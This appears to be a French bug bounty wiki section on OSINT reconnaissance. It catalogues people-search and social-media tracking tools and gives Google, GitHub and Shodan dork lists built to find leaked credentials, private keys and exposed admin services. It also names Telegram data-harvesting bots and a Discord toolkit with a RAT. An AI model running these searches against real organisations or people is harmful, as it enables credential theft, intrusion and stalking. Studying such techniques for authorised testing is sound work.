mosint est un framework utilisant plusieurs outils d'OSINT d'email pour en regrouper les résultats.

Exemple d'utilisation

*`$ go run . -e target@mail.com -all`*

ressource: <https://github.com/alpkeskin/mosint>

### h8mail

h8mail est un outil permettant de chercher des leaks de mot de passe pour un email donné.

Exemple d'utilisation:

*`$ h8mail -t target@mail.com`*

ressource: <https://github.com/khast3x/h8mail>

### GitDiscloser

GitDiscloser est un outil python que j'ai écrit qui fonctionne avec l'API de Github et qui permet de rechercher des fuites d'informations dans les codes qui y sont présents.

Exemple d'utilisation:

*`$ ./gitdiscloser -s "github search" -f secrets.txt`*

ressources: <https://github.com/mathis2001/GitDiscloser>

### Pinkerton

Pinkerton est un outil d'exploration de fichiers JavaScript recherchant des secrets.

Exemple d'utilisation:

*`$ python3 main.py -u https://target.com`*

ressource: <https://github.com/oppsec/Pinkerton>

### Pastehunter

Pastehunter est un outil permettant d'interroger une collection de sites telles pastebin afin de trouver des informations sensibes exposées.

ressource: <https://github.com/kevthehermit/PasteHunter>

### Ghunt

Ghunt est un framework de recherche OSINT avec Google.

ressource: <https://github.com/mxrch/GHunt>

### Phoneinfoga

Phoneinfoga est un outil d'OSINT permettant scanner un numéro de téléphone.

Exemples d'utilisation:

*`$ docker run --rm -it sundowndev/phoneinfoga scan --number +336XXXXXX`*

Interface web: *`$ docker run --rm -it sundowndev/phoneinfoga serve -p <port>`*

ressources:&#x20;

* <https://sundowndev.github.io/phoneinfoga/>
* <https://github.com/sundowndev/phoneinfoga>


# Manuel / Dorks

Techniques de reconnaissance manuels

## Sites:

* <https://dorks.faisalahmed.me/>: Constructeur de google dorks en ligne pour bug bounty.
* <https://taksec.github.io/google-dorks-bug-bounty/>: Constructeur de google dorks en ligne.
* <https://mr-koanti.github.io/shodan>: Constructeur de shodan dorks en ligne pour bug bounty.
* <https://mr-koanti.github.io/github>: Constructeur de github dorks en ligne pour bug bounty.
* <https://dorkgpt.com/>: AI based dork generator.
* [https://dorks.s1rn3tz.ovh](https://dorks.s1rn3tz.ovh/): Multi générateurs de dorks

## Reconnaissance et recherche de leaks avec Shodan et Github

Conseil: lors de vos recherches manuelles, gardez une fenêtre de navigateur pour garder les assets trouvés et une autre pour faire vos recherches.

#### 1 - Rechercher dans le certificat SSL le subject (objet en français)

![](/files/p7ahqlNSr77okzkoBKto)

![](/files/qhzqOIbdiiPaJCXtDelR)

Vous pouvez aussi regarder dans le footer du site web (© 2022 target, Inc.)

#### 2 - Shodan

Dans shodan utiliser la dork => ssl:"target, inc" 200

Utilisez le filtre http pour ressortir uniquement les résultat menant vers des sites web.

Ensuite, ouvrez/listez les différents sites disponibles.

Utilisez maintenant la dork => ssl.cert.subject.CN:"target.com" 200

Ouvrez/listez les différents sites disponibles.

#### 3 - Github

Une fois les assets intéressants trouvés avec shodan, vous pouvez utiliser des dorks pour rechercher mot de passe, token etc ayant pu fuiter.

Utilisez le filtrage au plus récent car des mots de passe ou token trop anciens pourraient avoir été changés entre temps.

Ajouter des filtres NOT dans la barre de recherche pour cibler un sous-domaine précis en supprimant tous ceux qui ne vous intéresses pas. (target.com <mark style="color:red;">NOT</mark> [www.target.com](http://www.target.com) <mark style="color:red;">NOT</mark> api.target.com <mark style="color:red;">NOT</mark> contact.target.com etc.)

Cela aura pour effet de réduire considérablement le nombre de résultats à analyser.&#x20;

conseil: pour chaque source trouvée, vérifiez si l'auteur travail ou non chez la cible sur son profil github et linkedin

Si vous trouvez une personne qui travail chez votre cible, essayer de faire vos recherche en faisant un focus sur lui et son travail avec la dork "user:"

faire de même avec la dork "org:" si l'entreprise elle même a un github.

#### 4 - Les dorks

Vous pouvez retrouver une liste de dorks github [ici](/osint-recon/manuel-dorks/github-dorks).

#### 5 - Faites la même chose sur gist.github.com


# Google dorks

## Générateur de dorks personnel

{% embed url="<https://dorks.s1rn3tz.ovh/googledorks>" %}

## Google, Bing, Yahoo dorks

Il s'agit des méthodes de recherches avancés des moteurs de recherches, en utilisant certaines fonctionnalité des moteurs de recherche que nous utilisons, nous somme parfois capable de retrouver du contenu sensible exposé sur internet.

Exemple de google dorks:

<pre class="language-bash"><code class="lang-bash">site:*target.com
site:*.*.target.com
site:*.*.*.target.com 
site:*target.com filetype:pdf
site:target.* inurl:/admin
site:target.com intext:"index of /"
site:*target.com inurl:"/content/dam"
site:*target.com intitle:"index of" "docker-compose.yml"
<strong>site:*target.com intitle:"index of"|"access_token.json"
</strong><strong>site:*target.com intitle:"index of" "config.json"
</strong><strong>site:*target.com intitle:"index of" "service-Account-Credentials.json" | "creds.json"
</strong>site:*target.com intitle:"index of" "db.json"
site:*target.com intitle:"index of" "credentials.json"
site:*target.com intitle:"index of" "awsconfig.json"
site:*target.com filetype:csv admin
site:codepad.co "company"
site:scribd.com "company"
site:npmjs.com "company"
site:npm.runkit.com "company"
site:libraries.co "company"
site:ycombinator.com "company"
site:coggle.it "company"
site:papaly.com "company"
site:google.com "compagny"
site:trello.com "company"
site:prezi.com "company"
site:jsdelivr.net "company"
site:codepen.io "company"
site:codeshare.io "company"
site:sharecode.io "company"
site:pastebin.com "company"
site:repl.it "company"
site:gitter.im "company"
site:bitbucket.org "company"
site:zoom.us "company"
site:atlassian.com "company"
site:s3.amazonaws.com inurl:"company"
site:storage.googleapis.com "http://target.com"
inurl:gitlab "company"
intext:"index of" /etc/passwd
intext:"index of" /etc/shadow
"index.of" id_rsa inurl:target
"index.of" private.key inurl:target
"© target 20XX"
"© 20XX target"
inurl:ftp inurl:(http|https) "target" filetype:pdf
...
</code></pre>

### AWS S3 buckets

```
inurl:s3.amazonaws.com/legacy/
inurl:s3.amazonaws.com/uploads/
inurl:s3.amazonaws.com/backup/
inurl:s3.amazonaws.com/mp3/
inurl:s3.amazonaws.com/movie/
inurl:s3.amazonaws.com/video/
...
```

## Autres stockages cloud

```
site:http://blob.core.windows.net "target.com"
site:http://googleapis.com "target.com"
site:http://drive.google.com "target.com"
site:dropbox.com/s "target.com"
site:box.com/s "target.com"
site:docs.google.com inurl:"/d/" "target.com"
```

## Documentation API

```
inurl:/swagger-ui.html -github -gitlab -reddit -stackoverflow -medium
inurl:/api/swagger -github -gitlab -reddit -stackoverflow -medium
inurl:/api/v1/docs | inurl:/api/v2/docs | inurl:/api/v3/docs
inurl:/api/apidocs
```

## CMS

<pre><code><strong>#Drupal
</strong><strong>intext:"Powered by Drupal" inurl:"/node/1" -drupal.com -drupal.org -github
</strong>inurl:"sites/all/modules/ckeditor" -drupalcode.org

#WordPress
intext:"Index" inurl:"wp-" -wordpress.org -stackexchange -github
inurl:"/wp-json/wp/v2/users/" "id":1,"name":" -wordpress.stackexchange.com -stackoverflow.com
inurl:"/wp-content/uploads"
inurl:"wp-register.php" -wordpress.com -wordpress.org -github
intitle:"index of" "wp-config.php.bak"

#Joomla
inurl:"/libraries/joomla/database/"
</code></pre>

## Frameworks

```
#Symfony
intitle:"index of" "symfony/config"
inurl:"_fragment" | inurl:"_profiler"
inurl:"_profiler/phpinfo"
inurl:"_profiler/open"

#Ruby on rails
inurl:"index.rb"
inurl:"/config/database.yml"
inurl:"/config/initializers/secret_token.rb"
inurl:"/db/seeds.rb"
inurl:"/db/development.sqlite3"
```

### Git exposé

```
“index of” inurl:.git
intitle:"index of" .git/hooks/
filetype:git
```

## Cache

Voir version de site web en cache:

```
cache:exemple.com/blabla
```

## Monitoring

Il est également possible de recevoir des alertes à chaque nouveau résultat pour une recherche donnée avec google.

ressource: <https://www.google.com/alerts>

### 0xdork

0xdork est un outil de google dorking très simple et léger écrit en python.

Exemple d'utilisation:

*`$ ./oxdork -q site:*.target.com -c 30`*

ressource: <https://github.com/rly0nheart/oxdork.git>

### Katana

Katana est un autre outil permettant de récupérer les réponse à une google dork.

Exemple d'utilisation:

*`$ python3 kds.py -g`*

ressource: <https://github.com/TebbaaX/Katana>

ressources:&#x20;

* <https://www.exploit-db.com/google-hacking-database>
* <https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06>


# Github dorks

## Générateur de dorks personnel

{% embed url="<https://dorks.s1rn3tz.ovh/gitdorks>" %}

De la même manière il est possible d'utiliser le moteur de recherche de Github pour trouver du contenu sensible sur une victime.

Quelques exemples:

```
#Dorks GiHub pour trouver clés API, Tokens et mots de passe
private
ldap
password
passwd
pwd
secret
Jenkins
OTP
authorizition
ftp
dotfiles
JDBC
key-keys
send_keys-keys
send,key-keys
token
user
login-singin
passkey-passkeys
pass
SecretAccesKey
app_AWS_SECRET_ACCESS_KEY
AWS_SECRET_ACCESS_KEY
credentials
config
security_credentials
connectionstring
ssh2_auth_password
BD_PASSWORD
api_key
“api keys”
authorization_bearer:
oauth
auth
authentication
client_secret
api_token:
“api token”
client_id
user_password
user_pass
passcode
client_secret
password hash
user auth
api_hash
api_id

#bash / #Python / #sql / #php ...
language:<language> password
language:<language> pwd
language:<language> passwd
language:<language> secret
language:<language> private
language:<language> ldap
language:<language> ftp
language:<language> dotfiles
language:<language> JDBC
language:<language> key-keys
language:<language> send_keys-keys
language:<language> send,key-keys
language:<language> token
language:<language> user
language:<language> login-singin
language:<language> passkey-passkeys
language:<language> pass
language:<language> credentials
language:<language> config
language:<language> security_credentials
language:<language> connectionstring
language:<language> ssh2_auth_password
...
...

#Si vous trouvez un employé de la cible:
user:<users> linkedin
user:<users> full name
user:<users> https://
user:<users> ldap

#entreprise
org:<company> https://
org:<company> host:

#Tips (Cherchez des vecteurs d'attaque externes)
"<target>.atlassian" [<keyword>]
"<target>.okta" [<keyword>]
"corp.<target>" [<keyword>]
"jira.<target>" [<keyword>]
"<target>.oneline" [<keyword>]
"<target>.service-now" [<keyword>]

#Génériques
filename:manifest.xml
filename:travis.yml
filename:vim_settings.xml
filename:database
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:.npmrc _auth
filename:.dockercfg auth
filename:WebServers.xml
filename:.bash_history <Domain name>
filename:sftp-config.json
filename:sftp.json path:.vscode
filename:secrets.yml password
filename:.esmtprc password
filename:passwd path:etc
filename:dbeaver-data-sources.xml
path:sites databases password
filename:config.php dbpasswd
filename:prod.secret.exs
filename:configuration.php JConfig password
filename:.sh_history
shodan_api_key language:python
filename:shadow path:etc
JEKYLL_GITHUB_TOKEN
filename:proftpdpasswd
filename:.pgpass
filename:idea14.key
filename:hub oauth_token
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
SF_USERNAME salesforce
filename:.bash_profile aws
extension:json api.forecast.io
filename:.env MAIL_HOST=smtp.gmail.com
filename:wp-config.php
extension:sql mysql dump
filename:credentials aws_access_key_id
filename:id_rsa or filename:id_dsa
GitHub Dorks for Finding Languages
language:python username
language:php username
language:sql username
language:html password
language:perl password
language:shell username
language:java api
HOMEBREW_GITHUB_API_TOKEN language:shell

#Trouver des noms d'utilisateurs
user:name (user:admin)
org:name (org:google type:users)
in:login (<username> in:login)
in:name (<username> in:name)
fullname:firstname lastname (fullname:<name> <surname>)
in:email (data in:email)

#Utiliser les dates
created:<2012–04–05
created:>=2011–06–12
created:2016–02–07 location:iceland
created:2011–04–06..2013–01–14 <user> in:username

#Utiliser les extensions
extension:pem private
extension:ppk private
extension:sql mysql dump
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
[WFClient] Password= extension:ica
extension:avastlic “support.avast.com”
extension:json googleusercontent client_secret

#Autre
##Slack web hook
"https://hooks.slack[.]com/services/"
```


# Twitter Dorks

```bash
#Tweets contenant le mot1 ET le mot2
<mot1> <mot2>

# Contenant exactement le mot1
"mot1"

#Tweets containing le mot1 OU le mot2
<mot1> OR <mot2>

#Contenant "cyber" mais SANS "security"
cyber -security

#Tous les tweets venant d'un compte / répondant à un autre
from:<account>
to:<account>

#Filtrer les résultats (ici par compte suivi en excluant les médias)
filter:follows
exclude:medias

#Tweets par dates
<mot> since:2015-02-20
<mot> until:2015-02-20

#Retweet minimums / likes minimum / reponses minimum
min_retweets:x
min_faves:x
min_replies:x

#Language
lang:fr

# Tweets positif  and negatifs
<mot> :)
<mot> :(

# Tweets posant une question
<mot> ?

#Localisation avec un périmètre précis
near:Paris within:25km

#Filtres
# - safe : potentiellement hard ou supprimé
# - media : photos ou vidéos
# - retweets : seulement les retweets
# - native_video : vidéo téléchargé (Amplify, Periscope, Vine)
# - periscope 
# - vine
# - images : identifié comme une photo (aussi venant de Instagram)
# - twimg : liens pic.twitter.com 
# - links : liens vers une url
filter:<filtre>

```


# Shodan Dorks

## Générateur de dorks personnel

{% embed url="<https://dorks.s1rn3tz.ovh/shodandorks>" %}

## Dorks

| **Name**            | **Description**                                      | **Type**                        |
| ------------------- | ---------------------------------------------------- | ------------------------------- |
| **after**           | Recherche par assets présent après une certaine date | string (dd/mm/yyyy)             |
| **asn**             | Recherche par Autonomous system number               | string                          |
| **before**          | Recherche par assets présent avant une certaine date | string (dd/mm/yyyy)             |
| **category**        | Recherche par catégorie                              | string                          |
| **city**            | Recherche par nom de ville                           | string ("Paris")                |
| **country**         | Recherche par pays                                   | string ("FR")                   |
| **geo**             | recherche par position géographique                  | string ("56.913055,118.250862") |
| **hash**            | Recherche par hash                                   | integer                         |
| **has\_ipv6**       | Les cibles qui ont une ipv6                          | boolean                         |
| **has\_screenshot** | les cibles pour lesquelles il y a des screenshots    | boolean                         |
| **hostname**        | Recherche par nom d'hôte                             | string                          |
| **ip**              | Equivalent du filtre net                             | string                          |
| **isp**             | Recherche par ISP                                    | string                          |
| **net**             | Recherche par IP ou plage IP                         | string (X.X.X.X/XX)             |
| **org**             | Recherche par nom d'entreprise                       | string ("Google")               |
| **os**              | Recherche par Système d'exploitation                 | string ("Windows 7")            |
| **port**            | Recherche par numéro de port                         | string (21)                     |
| **postal**          | Recherche par code postal (US seulement)             | string                          |
| **product**         | Recherche par software / produit                     | string                          |
| **region**          | Recherche par région / état                          | string                          |
| **state**           | Equivalent du filtre region                          | string                          |
| **version**         | Recherche par version de produit / software          | string                          |
| **vuln**            | Recherche par ID de CVE                              | string                          |

### HTTP Filters

| **Name**                     | **Description**                                     | **Type**      |
| ---------------------------- | --------------------------------------------------- | ------------- |
| **http.component**           | Recherche par technologie web utilisée              | string        |
| **http.component\_category** | Recherche par catégorie de technologie web utilisée | string        |
| **http.html**                | recherche par HTML de bannière web                  | string        |
| **http.html\_hash**          | Recherche par hash de site web                      | integer       |
| **http.status**              | Recherche par code de status                        | integer (200) |
| **http.title**               | Recherche par titre de bannière web                 | string        |

### NTP Filters

| **Name**          | **Description**                                                              | **Type** |
| ----------------- | ---------------------------------------------------------------------------- | -------- |
| **ntp.ip**        | IP addresses returned by monlist                                             | string   |
| **ntp.ip\_count** | Number of IPs returned by initial monlist                                    | integer  |
| **ntp.more**      | True/ False; whether there are more IP addresses to be gathered from monlist | boolean  |
| **ntp.port**      | Port used by IP addresses in monlist                                         | integer  |

### SSL Filters

| **Name**                 | **Description**                                                                                              | **Type**         |
| ------------------------ | ------------------------------------------------------------------------------------------------------------ | ---------------- |
| **has\_ssl**             | Est en SSL: True / False                                                                                     | boolean          |
| **ssl**                  | Recherche dans toutes les données SSL                                                                        | string           |
| **ssl.alpn**             | Recherche par Protocole utilisé tel que HTTP2                                                                | string ("h2")    |
| **ssl.chain\_count**     | Nombre de cértificats dans la chaîne                                                                         | integer          |
| **ssl.version**          | <p>Recherche par version de SSL utilisées.</p><p>Valeurs possibles: SSLv2, SSLv3, TLSv1,TLSv1.1, TLSv1.2</p> | string           |
| **ssl.cert.alg**         | Algorithme de certificat                                                                                     | string           |
| **ssl.cert.expired**     | Certificat SSL expiré ? True / False                                                                         | boolean          |
| **ssl.cert.extension**   | Nom de l'extension SSL                                                                                       | string           |
| **ssl.cert.serial**      | Numéro de série                                                                                              | integer / string |
| **ssl.cert.pubkey.bits** | Nombres de bits dans la clé publique                                                                         | integer          |
| **ssl.cert.pubkey.type** | Type de clé publique                                                                                         | string           |
| **ssl.cipher.version**   | version du chiffrement SSL                                                                                   | string           |
| **ssl.cipher.bits**      | Nombre de bits dans le chiffrement                                                                           | integer          |
| **ssl.cipher.name**      | Nom du chiffrement                                                                                           | string           |

### Telnet Filters

| **Name**          | **Description**                                                      | **Type** |
| ----------------- | -------------------------------------------------------------------- | -------- |
| **telnet.option** | Recherche toutes les options telnet                                  | string   |
| **telnet.do**     | Le serveur demande au client de prendre en charge ces options        | string   |
| **telnet.dont**   | Le serveur demande au client de ne pas prendre en charge ces options | string   |
| **telnet.will**   | Le serveur prend en charge ces options                               | string   |
| **telnet.wont**   | Le serveur ne prend pas en charge ces options                        | string   |

## Bug bounty dorks

```
#Trouver des directory listing
ssl.cert.subject.CN:".target.com" http.title:"index of/"

#Trouver des gitlab
ssl.cert.subject.CN".target.com" http.title:"gitlab"

#Trouver des accès FTP anonymes
ssl.cert.subject.CN:".target.com" "230 login successful" port:"21"

#Trouver des pages phpinfo
ssl.cert.subject.CN:".target.com" http.title:"phpinfo()"

#Trouver des subdomain takeover github
ssl.cert.subject.CN:".target.com" http.html:"The specified bucket does not exist"
ssl.cert.subject.CN:".target.com" http.html:"Trying to access your account?"
ssl.cert.subject.CN:".target.com" http.html:"With GetResponse Landing Pages, lead generation has never been easier"
ssl.cert.subject.CN:".targer.com" http.html:"No settings were found for this company:"
ssl.cert.subject.CN:".targer.com" http.html:"is not a registered InCloud YouTrack"
ssl.cert.subject.CN:".targer.com" http.html:"No Site For Domain"
ssl.cert.subject.CN:".targer.com" http.html:"It looks like you may have taken a wrong turn somewhere. Don't worry...it happens to all of us."
ssl.cert.subject.CN:".targer.com" http.html:"This job board website is either expired or its domain name is invalid."
ssl.cert.subject.CN:".targer.com" http.html:"Non-hub domain, The URL you've accessed does not provide a hub."
ssl.cert.subject.CN:".targer.com" http.html:"Do you want to register *.wordpress.com?"
ssl.cert.subject.CN:".targer.com" http.html:"Hello! Sorry, but the website you&rsquo;re looking for doesn&rsquo;t exist."
ssl.cert.subject.CN:".targer.com" http.html:"There isn't a GitHub Pages site here."
```

## Exemples

### Citrix:

Trouver des gateway Citrix.\
`title:"citrix gateway"`

#### Wifi Passwords:

Trouver des mots de passe wifi en clair.\
`html:"def_wirelesspassword"`

#### Surveillance Cams:

With username:admin and password: :P\
`NETSurveillance uc-httpd`

#### Windows RDP Password:

But may contain secondary windows auth\
`"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"`

#### Mongo DB servers:

It may give info about mongo db servers and dashboard\
`"MongoDB Server Information" port:27017 -authentication`

#### FTP accessibles en anonyme: `"220" "230 Login successful." port:21`

#### Jenkins:

Tableau de bord Jenkins ouverts\
`x-jenkins 200`

#### ATM ouverts:

Peut permettre l'accès au guichet automatique\
`NCR Port:"161"`

#### Telnet Accessibles en anonyme: `port:23 console gateway`

#### Sites Wordpress mal configurés:

Le wp-config.php si il est accessible peut donner accès aux identifiants de base de données.\
`http.html:"* The wp-config.php creation script uses this file"`

#### API Docker pour accès à distance:

`port:2375 product:"docker"`

## Tips

Augmentation de la surface d'attaque via favicon:

1. Mettre l'url du favicon.ico dans <https://faviconhash.com/>.
2. Recupérer le Hash du favicon.
3. utiliser la dork <mark style="color:red;">https.favicon.hash:\<hash></mark> dans shodan.

Plus d'exemples: <https://github.com/mathis2001/Dorking/blob/main/ShodanDorks.txt>


# Réseaux sociaux (SOCMINT)

Outils dédiés à la reconnaissance de réseaux sociaux

## Sites:

* <https://whatsmyname.app/>: Site web permettant de trouver les réseaux sociaux et sites sur lesquels un pseudo est utilisé.
* <https://www.namecheckr.com/>: Recherche de réseaux sociaux par nom.
* <https://namechk.com/>: Même principe
* <https://mattw.io/youtube-geofind/>: géo localisateur de vidéo youtube.
* <https://iknowwhereyourcatlives.com/>: géo localisateur de chat par localisation. (bug en dézoomant)
* <https://analytics.mentionmapp.com/modules/free/>: Investigation Twitter sous forme de graphique.
* <https://freepeoplesearchtool.com/>: Recherche de personne présente sur Linkedin sans être connecté.
* <https://www.storysaver.net/>: Downloader de stories et vidéos Instagram
* <https://cse.google.com/cse?q=+&cx=006368593537057042503:efxu7xprihg#gsc.tab=0&gsc.q=%20&gsc.page=1>: Moteur de recherche de Telegram.
* <https://www.vedbex.com/tools/email2skype>: Trouver un compte Skype à partir d'un email.
* <https://www.crowdtangle.com/>: Un outil de Meta pour vous aider à suivre, analyser et signaler ce qui se passe sur les réseaux sociaux.
* <https://www.social-searcher.com/>: Moteur de recherche multi réseaux sociaux

### Extensions

* Twitter account detector: simple extension chrome permettant de relever les comptes Twitter sur un site web.&#x20;

## CrossLinked

CrossLinked est un outil permettant de lister les collaborateurs d'une entreprise via LinkedIn.

Exemple d'utilisation:

*`$ python3 crosslinked.py -f '{f}.{last}' targetname`*

ressource: <https://github.com/m8sec/CrossLinked>

## LinkedInt

LinkedInt est un outil d'OSINT utilisant votre propre compte Linkedin ainsi qu'une API de hunter pour créer un tableau listant les collaborateurs d'une même organisation (nom, prénom, possible email professionnel, poste, localisation).

Exemple d'utilisation:

`$ python LinkedInt.py`

```bash
██╗     ██╗███╗   ██╗██╗  ██╗███████╗██████╗ ██╗███╗   ██╗████████╗
██║     ██║████╗  ██║██║ ██╔╝██╔════╝██╔══██╗██║████╗  ██║╚══██╔══╝
██║     ██║██╔██╗ ██║█████╔╝ █████╗  ██║  ██║██║██╔██╗ ██║   ██║
██║     ██║██║╚██╗██║██╔═██╗ ██╔══╝  ██║  ██║██║██║╚██╗██║   ██║
███████╗██║██║ ╚████║██║  ██╗███████╗██████╔╝██║██║ ╚████║   ██║
╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝  ╚═══╝   ╚═╝

Providing you with Linkedin Intelligence
Author: Vincent Yiu (@vysec, @vysecurity)
Original version by @DisK0nn3cT
[*] Enter search Keywords (use quotes for more precise results)
"General Motors"

[*] Enter filename for output (exclude file extension)
generalmotors

[*] Filter by Company? (Y/N):
Y

[*] Specify a Company ID (Provide ID or leave blank to automate):


[*] Enter e-mail domain suffix (eg. contoso.com):
gm.com

[*] Select a prefix for e-mail generation (auto,full,firstlast,firstmlast,flast,first.last,fmlast):
auto

[*] Automatically using Hunter IO to determine best Prefix
[!] {first}.{last}
[+] Found first.last prefix
```

Ressource: <https://github.com/vysecurity/LinkedInt>&#x20;

## Snoop

Snoop est un outil d'OSINT permettant de trouver l'utilisation d'un username spécifique sur plus de 3000 sites.

Exemple d'uilisation:

*`$ python3 snoop.py username`*

ressource: <https://github.com/snooppr/snoop>

## TwittosINT

TwittosINT est un outil d'OSINT permettant de faire de l'analyse de compte Twitter (réseau, centres d'intérêts, comparaisons, informations de compte). Il fonctionne avec l'APIv2 de Twitter.

Exemple d'utilisation:

*`$ ./twittosint.py -u username -m`*

ressource: <https://github.com/mathis2001/TwittosINT>

## Osintgram

Osintgram est un outil OSINT sur Instagram. Il propose un shell interactif pour effectuer une analyse sur le compte Instagram de tout utilisateur par son pseudo.

Utilisation:

*`$ python3 main.py <target username>`*

ressource: <https://github.com/Datalux/Osintgram>

## Octosuite

Octosuite est un outil de reconnaissance github

Utilisation:

*`$ ./octosuite`*

Ressource: <https://github.com/rly0nheart/octosuite>

## Zehef

Zehef est un outil d'osint permettant de tracker les mails.

Utilisation:

*`$ python3 zehef.py target@mail.xyz`*

ressource:

<https://github.com/N0rz3/Zehef>

## Holehe

Holehe est un outil permettant de vérifier l'existence d'un compte sur  réseaux sociaux et sites (instagram, twitter, amazon, samsung...) par rapport à une adresse email donnée.

Utilisation:

*`$ holehe target@mail.com`*

Ressource: <https://github.com/megadose/holehe>

## Blackbird

Blackbird est un outil permettant de traquer les comptes de médias sociaux par nom d'utilisateur.

exemple d'utilisation:

*`$ python blackbird -u <username>`*

ressource: <https://github.com/p1ngul1n0/blackbird>

## Sherlock

Sherlock est un outil permettant de traquer les comptes de médias sociaux par nom d'utilisateur.

Exemple d'utilisation:

*`$ sherlock <username>`*

ressource: <https://github.com/sherlock-project/sherlock>

## Maigret

Maigret est un outil aillant la même utilité que Sherlock.

Exemple d'utilisation:

*`$ maigret <username>`*

ressource: <https://github.com/soxoj/maigret>

## Socialscan

Socialscan est un outil permettant de trouver pour plusieurs outils pour lesquels le compte ou email donné n'existe pas encore et inversement dans lesquels il existe.

Exemple d'utilisation:

*`$ socialscan <email>`*

ressource: <https://github.com/iojw/socialscan>

## SkypeSearch

Eh oui, adresse, date d'anniversaire, email, tout ceci peut être retrouvé sur votre bon vieux compte Skype laissé dans le tiroir.

Pour utiliser SkypeSearch, il vous faudra dans un premier temps récupérer le token d'authentification de votre compte pour lui permettre d'avoir accès à l'application.

Exemples d'utilisation:

*`$ python3 skypesearch.py <(user)name>`*

*`$ python3 skypesearch.py <email>`*

ressource: <https://github.com/8C/SkypeSearch>

## ATIO (Recon et exploit)

ATIO est un script développé avec Python3. Il rassemble un total de 23 outils Discord (dont un RAT, un Raid Tool, un Token Grabber, un Crash Video Maker, etc). Il dispose d'une interface agréable et intuitive pour faciliter l'utilisation de tous avec une aide et des explications pour chacun d'entre eux.

ressource: <https://github.com/AstraaDev/Discord-All-Tools-In-One>


# Telegram OSINT

## Bots

<mark style="color:blue;">@UniversalSearchRobot</mark> : Bot d'OSINT multifonction.

<mark style="color:blue;">@userinfobot</mark> : Lui transférer le message d'un utilisateur puis il vous donnera l'ID de l'utilisateur.

<mark style="color:blue;">@usinfobot</mark> : Récupère des informations sur un utilisateur grâce à son ID ou Nom d'utilisateur.

<mark style="color:blue;">@TgAnalyst\_bot</mark> : Ce bot vous permet de retrouver un numéro de téléphone grâce à un ID d'utilisateur trouvé avec @userinfobot.

<mark style="color:blue;">@SangMataInfo\_bot</mark> : Permet de rechercher un historique d'utilisateur en lui transférant un de ses messages (récupère aussi son ID).

<mark style="color:blue;">@maigret\_osint\_bot</mark> : Outil [maigret ](/osint-recon/reseaux-sociaux-socmint#maigret)semblable à celui de github sur Telegram.

<mark style="color:blue;">@findfacerobot</mark> : Bot de reconnaissance faciale.

## Trap Bots

Ces bots permettent de voler les données des utilisateurs qui interagissent avec:

```
@inform_baza_bot
@dossier_baza_bot
@addprivategroup_bot
@protestchat_bot
@TgDeanonymizer_bot
@TelpoiskBot_bot
@cryptoscanning_bot
@Checknumb_bot
@LBSE_bot
@GetCont_bot
```

En partageant ces contacts à un utilisateur cible, un attaquant peut ainsi récupérer des informations sur celui-ci.


# Snapchat OSINT

## Télécharger un snap publique avec la snapmap

* Allez sur map.snapchat.com, choisissez un snap sur la carte et ouvrez les outils de développement de votre navigateur.
* Allez dans "network" puis sélectionnez le filtre "media".
* Actualisez la page.

![](/files/HoHvHXop6FEf6VxfP0Zj)

* Vous pouvez maintenant faire un clic droit sur le snap souhaité et l'ouvrir dans une nouvelle onglet.
* Finalement vous pouvez télécharger le fichier en cliquant sur les trois points puis "Télécharger".

![](/files/qWCjcYHJdFDotFXnzR0J)

![](/files/3h1ZiSsesqqpEHmX7lP6)


# Linkedin OSINT

## Monter dans les niveaux de connexions

### Fonctionnement du système de niveaux

LinkedIn fonctionne par niveaux de connexions. Ce fonctionnement particulier fait en sorte que plus le niveau de connexion est élevé avec un autre utilisateur, plus on a de possibilités d'interactions avec cette personne.

Il exite 3 niveaux de connexion:

Le **premier niveau** représente les personnes directement connectés avec soi. (limitée à 30 000 personnes)

Ce niveau permet:

* D'envoyer des messages privés à la personne.
* De voir ses informations de contact. (email, numéro de téléphones etc si l'utilisateur les partages)

Le **deuxième niveau** représente les personnes qui **ne sont pas** directement connectées à vous mais qui sont connectées à l'une de vos relations de 1er degré.

Ce niveau permet:

* D'envoyer un message privé à la personne sous forme de demande de connexion (pour passer au premier niveau)
* D'envoyer une demande de connexion sans message.
* De voir ses informations de contact. (Cependants l'email et le numéro de téléphone ne sont pas affichés même si l'utilisateur les partages)

Le **troisième niveau** représente les personnes connectés à vos connexions de deuxième niveau.

Ce niveau permet:

* D'envoyer une demande de connexion à la personne sans message.

{% hint style="info" %}
Il existe des abonnements **payants** pour les profils **premium** et **recruteurs** permettant d'envoyer des messages privés sans avoir besoin d'être connectés et d'avoir le premier pu deuxième niveau.
{% endhint %}

### OSINT Tip

Sur LinkedIn, il existe ce qu'on appel des "**LION**" pour "**LinkedIn Open Networkers**". Il s'agit de membres qui encourage positivement des connexions avec d’autres membres, qu’ils aient ou non établi au préalable des relations d’affaires.

Cela permet aux personnes n'ayant pas de relations d'affaires de pouvoir étendre leur réseau plus facilement. Ces membres représentent de ce fait également un très bon moyen pour un sock puppet d'augmenter rapidement son réseau pour pouvoir atteindre plus facilement un niveau le plus haut possible avec leur cible sans avoir à utiliser de compte personnel.

Les LIONs font en général part de cette mention dans leur biographie, ils sont donc facilement retrouvable via une simple recherche dans la barre de recherche de LinkedIn.&#x20;

## Visualiser un profil Linkedin anonymement (NE FONCTIONNE PLUS)

* Trouvez le lien Linkedin vers le profil

![](/files/zNPQA5KJdYlfDcV0JD8A)

* Copiez l'adresse du lien et le coller dans <https://search.google.com/test/mobile-friendly>
* Allez dans "AFFICHER LA PAGE TESTEE" > "HTML" puis copiez le code.

![](/files/LQVFkvMdXgscRRcHzDl1)

* Rendez vous ensuite sur <https://codebeautify.org/htmlviewer> et collez le code html.
* Vous pouvez maintenant visualiser la page sans vous connecter.

![](/files/uu4IPEY0VCAhLEw3bKmX)


# Facebook OSINT

Facebook OSINT mindmap

## Sites

* <https://inteltechniques.com/tools/Facebook.html>
* <https://plessas.net/facebookmatrix>
* <https://www.sowsearch.info/>
* <https://intelx.io/tools?tab=facebook>
* <https://whopostedwhat.com/>

## Collecte des IDs

inspect element ou view-source

profile: ctrl+f > profile\_id\
entité: ctrl+f > entity\_id\
Page: ctrl+f > page\_id\
Groupe: ctrl+f > group\_id

Chercher par profile\_id:

facebook.com/\<profile\_id>

